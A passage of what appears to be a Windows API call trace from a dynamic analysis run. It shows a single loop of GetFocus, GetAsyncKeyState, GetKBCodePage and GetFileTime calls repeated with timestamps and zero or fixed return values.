lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.567] GetFocus () returned 0x0 [0034.567] GetAsyncKeyState (vKey=58) returned 0 [0034.567] GetKBCodePage () returned 0x1b5 [0034.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.567] GetFocus () returned 0x0 [0034.567] GetAsyncKeyState (vKey=58) returned 0 [0034.567] GetKBCodePage () returned 0x1b5 [0034.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.567] GetFocus () returned 0x0 [0034.567] GetAsyncKeyState (vKey=58) returned 0 [0034.567] GetKBCodePage () returned 0x1b5 [0034.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.567] GetFocus () returned 0x0 [0034.567] GetAsyncKeyState (vKey=58) returned 0 [0034.567] GetKBCodePage () returned 0x1b5 [0034.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.567] GetFocus () returned 0x0 [0034.593] GetAsyncKeyState (vKey=58) returned 0 [0034.593] GetKBCodePage () returned 0x1b5 [0034.593] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.593] GetFocus () returned 0x0 [0034.593] GetAsyncKeyState (vKey=58) returned 0 [0034.593] GetKBCodePage () returned 0x1b5 [0034.593] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.593] GetFocus () returned 0x0 [0034.593] GetAsyncKeyState (vKey=58) returned 0 [0034.593] GetKBCodePage () returned 0x1b5 [0034.593] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.593] GetFocus () returned 0x0 [0034.593] GetAsyncKeyState (vKey=58) returned 0 [0034.593] GetKBCodePage () returned 0x1b5 [0034.593] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.593] GetFocus () returned 0x0 [0034.593] GetAsyncKeyState (vKey=58) returned 0 [0034.593] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.594] GetFocus () returned 0x0 [0034.594] GetAsyncKeyState (vKey=58) returned 0 [0034.594] GetKBCodePage () returned 0x1b5 [0034.594] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.595] GetFocus () returned 0x0 [0034.595] GetAsyncKeyState (vKey=58) returned 0 [0034.595] GetKBCodePage () returned 0x1b5 [0034.595] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.596] GetAsyncKeyState (vKey=58) returned 0 [0034.596] GetKBCodePage () returned 0x1b5 [0034.596] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.596] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.597] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.597] GetFocus () returned 0x0 [0034.597] GetAsyncKeyState (vKey=58) returned 0 [0034.597] GetKBCodePage () returned 0x1b5 [0034.598] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.598] GetFocus () returned 0x0 [0034.598] GetAsyncKeyState (vKey=58) returned 0 [0034.598] GetKBCodePage () returned 0x1b5 [0034.598] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.598] GetFocus () returned 0x0 [0034.598] GetAsyncKeyState (vKey=58) returned 0 [0034.598] GetKBCodePage () returned 0x1b5 [0034.598] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.598] GetFocus () returned 0x0 [0034.598] GetAsyncKeyState (vKey=58) returned 0 [0034.598] GetKBCodePage () returned 0x1b5 [0034.598] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.598] GetFocus () returned 0x0 [0034.598] GetAsyncKeyState (vKey=58) returned 0 [0034.598] GetKBCodePage () returned 0x1b5 [0034.598] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.598] GetFocus () returned 0x0 [0034.598] GetAsyncKeyState (vKey=58) returned 0 [0034.598] GetKBCodePage () returned 0x1b5 [0034.598] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.598] GetFocus () returned 0x0 [0034.598] GetAsyncKeyState (vKey=58) returned 0 [0034.598] GetKBCodePage () returned 0x1b5 [0034.598] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.598] GetFocus () returned 0x0 [0034.598] 